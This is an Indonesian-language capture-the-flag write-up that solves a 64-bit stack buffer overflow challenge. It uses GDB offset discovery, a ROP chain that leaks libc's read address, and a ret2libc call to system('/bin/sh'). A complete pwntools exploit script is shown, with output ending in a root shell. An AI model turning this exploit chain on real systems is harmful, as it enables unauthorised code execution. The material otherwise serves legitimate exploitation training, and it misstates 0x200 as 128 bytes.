[IDSECCONF Online 2015] Pwn Hard (350 Poin)

Masalah

Diberikan berkas pwn350 yang jika didekompilasi menjadi kode seperti ini.

ssize_t merdeka()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Dirgahayu Yang ke 70\nAyo kerja\nJangan Harap alamat apapun\n", 0x3AuLL);
  return merdeka(1LL, "Dirgahayu Yang ke 70\nAyo kerja\nJangan Harap alamat apapun\n");
}

Penyelesaian

Pengumpulan Informasi

Periksa keamanan binary terlebih dahulu dengan menggunakan checksec.

$ checksec pwn350

Luaran.

[*] '/../pwn350'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ternyata binary diproteksi dengan NX yang menyebabkan tidak bisa mengeksekusi shellcode. Kemudian berdasarkan source code, program meminta input dengan maksimum buffer sebesar (0x200) 128 bytes (lihat fungsi merdeka()).

Identifikasi Kelemahan

Karena tidak ada canary, binary lemah terhadap stack smashing. Sedangkan fungsi read tidak proteksi sehingga lemah terhadap buffer overflow. Pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.

find_segfault_by_input.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
    echo $i
    buffer+="A"
    echo $buffer > /tmp/delete.me
    ./$1 < /tmp/delete.me
    if [ $? -eq 139 ]; then
        echo "SEGMENTATION FAULT on $i BUFFER"
        break
    fi
done

Luaran.

~ skipped ~
Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun
128
Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun
./find_segfault_by_input.sh: line 4: 10610 Segmentation fault      (core dumped) ./$1 < /tmp/delete.me
SEGMENTATION FAULT on 128 BUFFER

Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault sebesar 128 bytes.

Eksploitasi

Buka GDB, dan periksa stack yang ada dalam binary.

$ gdb -q pwn350
gdb-peda$ r < /tmp/delete.me

Luaran.

Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x81
RBX: 0x0
RCX: 0x7ffff7b04230 (<__read_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffe1a0 ('A' <repeats 128 times>, "\n\342\377\377\377\177")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe212 ('A' <repeats 14 times>, "\n\342\377\377\377\177")
RIP: 0x4005d4 (<main+46>:    ret)
R8 : 0x400650 (<__libc_csu_fini>:    repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:    push   rbp)
R10: 0x37b
R11: 0x246
R12: 0x400490 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005c9 <main+35>:    mov    eax,0x0
   0x4005ce <main+40>:    call   0x400586 <merdeka>
   0x4005d3 <main+45>:    leave  
=> 0x4005d4 <main+46>:    ret    
   0x4005d5:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x4005df:    nop
   0x4005e0 <__libc_csu_init>:    push   r15
   0x4005e2 <__libc_csu_init+2>:    push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe212 ('A' <repeats 14 times>, "\n\342\377\377\377\177")
0008| 0x7fffffffe21a --> 0xe20a414141414141
0016| 0x7fffffffe222 --> 0x5d300007fffffff
0024| 0x7fffffffe22a --> 0xe328000000000040
0032| 0x7fffffffe232 --> 0x7fffffff
0040| 0x7fffffffe23a --> 0x5e0000000010000
0048| 0x7fffffffe242 --> 0xd830000000000040
0056| 0x7fffffffe24a --> 0x7ffff7a2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005d4 in main ()

Ternyata register RIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 12 byte sehingga menjadi 140 byte dan gunakan pattern create untuk mendapatan posisi register RIP.

gdb-peda$ pattern create 140 delete.me
gdb-peda$ r < delete.me

Luaran.

Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x8c
RBX: 0x0
RCX: 0x7ffff7b04230 (<__read_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffe1a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQA")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5fe ("/home/dummy/Private/progress/beeps/gits/beeps/assets/sample-4/pwn350")
RIP: 0x41514141 ('AAQA')
R8 : 0x400650 (<__libc_csu_fini>:    repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:    push   rbp)
R10: 0x37b
R11: 0x246
R12: 0x400490 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41514141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5fe ("/home/dummy/Private/progress/beeps/gits/beeps/assets/sample-4/pwn350")
0008| 0x7fffffffe238 --> 0x100000000
0016| 0x7fffffffe240 --> 0x4005e0 (<__libc_csu_init>:    push   r15)
0024| 0x7fffffffe248 --> 0x7ffff7a2d830 (<__libc_start_main+240>:    mov    edi,eax)
0032| 0x7fffffffe250 --> 0x0
0040| 0x7fffffffe258 --> 0x7fffffffe328 --> 0x7fffffffe5fe ("/home/dummy/Private/progress/beeps/gits/beeps/assets/sample-4/pwn350")
0048| 0x7fffffffe260 --> 0x100000000
0056| 0x7fffffffe268 --> 0x4005a6 (<main>:    push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000041514141 in ?? ()

Ternyata register RIP sudah berhasil ditimpa dengan buffer AAQA, selanjutnya mencari indeks register RIP pada buffer delete.me.

echo `python -c 'print open("delete.me").read().rstrip().index("AAQA")'`

Luaran

136

Register RIP yang sudah tertimpa akan digunakan sebagai jalan untuk melakukan teknik Return Oriented Programmming (ROP) guna mendapatkan alamat GLIBC server.

Mengungkap salah satu alamat GLIBC server

Untuk melakukannya bisa dengan membangun ROP chain dari fungsi read ke fungsi write guna mencetak alamat server. Kemudian dari fungsi read ke main guna eksploitasi lebih lanjut.

Perhatikan kode Assembly dibawah ini.

mov     edx, 200h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read

fungsi read pada source code akan mengalami buffer overflow karena buffer A sebanyak 136 karakter, sehingga bisa digunakan untuk pemanggilan fungsi write guna mencetak alamat server.

mov     edx, 3Ah        ; n
mov     esi, offset aDirgahayuYangK ; "Dirgahayu Yang ke 70\nAyo kerja\nJangan"...
mov     edi, 1          ; fd
call    _write
mov     eax, 0

fungsi write pada source code menggunakan register EDI sebagai file descriptor dan register ESI sebagai string yang akan dicetak. Untuk mencetak salah satu alamat GLIBC server, isi register ESI bisa diganti dengan alamat tersebut, misal GOT read dan isi register EDI tetap berisi 1. Maka gadget yang diperlukan adalah pop rdi dan pop rsi. Gunakan ROPgadget untuk mendapatkannya.

$ ROPgadget --binary pwn350 | grep 'pop rdi'
0x0000000000400643 : pop rdi ; ret

$ ROPgadget --binary pwn350 | grep 'pop rsi'
0x0000000000400641 : pop rsi ; pop r15 ; ret

Sehingga payload awal akan menjadi seperti ini.

payload = 'A'*136 # overflow read() agar mengendalikan RIP
payload += p64(gg_pop_rdi) # pop rdi
payload += p64(1) # rdi := 1
payload += p64(gg_pop_rsi) # pop rsi
payload += p64(binary.got['read']) # rsi := GOT read
payload += 'A'*8 # rsi := 8 bytes
payload += p64(binary.plt['write']) # call write()

Selanjutnya untuk ROP chain dari fungsi read ke main menjadi seperti ini.

payload += p64(gg_pop_rdi)
payload += p64(0)
payload += p64(gg_pop_rsi)

payload += p64(binary.symbols['__data_start'])
payload += "A"*8
payload += p64(binary.symbols['read'])
payload += p64(binary.symbols['main'])

Penjelasannya, isi register RDI dengan 0, register RSI dengan alamat __data_start sebagai buffer guna inisialisai data. Kemudian panggil fungsi read dan main agar program ke posisi awal. Untuk script awal guna mengungkap alamat GLIBC server menjadi seperti ini.

from pwn import *
import struct
import time

libc_local = ELF('libc-2.23.so')
binary = ELF('pwn350')
proc = process('./pwn350')

gg_pop_rdi = 0x0000000000400643
gg_pop_rsi = 0x0000000000400641

# Menerima paket dari server agar PLT read() dijalankan server
log.info(proc.recv())

log.progress('Membangun ROP Chain: PLT read() menuju ke PLT write()')

payload = 'A'*136 # overflow read() agar mengendalikan RIP
payload += p64(gg_pop_rdi) # pop rdi
payload += p64(1) # rdi := 1
payload += p64(gg_pop_rsi) # pop rsi
payload += p64(binary.got['read']) # rsi := GOT read
payload += 'A'*8 # rsi := 8 bytes
payload += p64(binary.plt['write']) # call write()

log.progress('Membangun ROP Chain PLT read() menuju PLT main()')

payload += p64(gg_pop_rdi)
payload += p64(0)
payload += p64(gg_pop_rsi)

payload += p64(binary.symbols['__data_start'])
payload += "A"*8
payload += p64(binary.symbols['read'])
payload += p64(binary.symbols['main'])

proc.send(payload)

libc_server_read = u64(proc.recv(8))

log.success('Mendapatkan alamat `read` pada server: {}'.format(hex(libc_server_read)))
proc.send('dummy')

Luaran.

[+] Starting local process './pwn350': pid 13291
[*] Dirgahayu Yang ke 70
    Ayo kerja
    Jangan Harap alamat apapun
[....../.] Membangun ROP Chain: PLT read() menuju ke PLT write()
[◓] Membangun ROP Chain PLT read() menuju ke PLT main()
[+] Mendapatkan alamat `read` pada server: 0x7f2290fb2220

Memanggil /bin/sh pada server

Program kembali ke posisi fungsi main dan kembali memanggil fungsi read untuk meminta input lagi. Pada momen ini, payload untuk memanggil shell bisa dimasukkan dengan ROP chain dibawah ini.

log.progress('Menghitung selisih offset alamat `read` pada server')

# Diambil dari libc-database
offset_shell = 0x18cd17

libc_server = libc_server_read - libc_local.symbols['read']
libc_sys = libc_server + libc_local.symbols['system']
libc_sh = libc_server + offset_shell

log.success('libc system: {}'.format(hex(libc_sys)))
log.success('libc sh: {}'.format(hex(libc_sh)))
log.progress('Membangun ROP Chain PLT read() menuju /bin/sh')

"""
:: IDA
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
"""

payload = 'A'*136
payload += p64(gg_pop_rdi)
payload += p64(libc_sh)
payload += p64(libc_sys)

proc.send(payload)

log.progress('Terhubung dengan shell pada server ...')

time.sleep(1)

proc.interactive()

Penjelasannya, gunakan alamat fungsi read pada server untuk menghitung alamat basis server dengan dikurangi oleh alamat fungsi read lokal. Gunakan offset yang ada dalam skenario memanggil system('/bin/sh'). Setelah mengalamai buffer overflow pada fungsi read, maka register RIP segera memanggil shell.

Luaran.

[+] Starting local process './pwn350': pid 14368
[*] Dirgahayu Yang ke 70
    Ayo kerja
    Jangan Harap alamat apapun
[ ] Membangun ROP Chain: PLT read() menuju ke PLT write()
[↘] Membangun ROP Chain PLT read() menuju ke PLT main()
[+] Mendapatkan alamat `read` pada server: 0x7f8d62d0e220
[◤] Menghitung selisih offset alamat `read` pada server
[+] libc system: 0x7f8d62c5c390
[+] libc sh: 0x7f8d62da3d17
[◓] Membangun ROP Chain PLT read() menuju /bin/sh
[/] Terhubung dengan shell pada server ...
[*] Switching to interactive mode
~ skipped ~
Ayo kerja
Jangan Harap alamat apapun
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root

results matching ""

    No results matching ""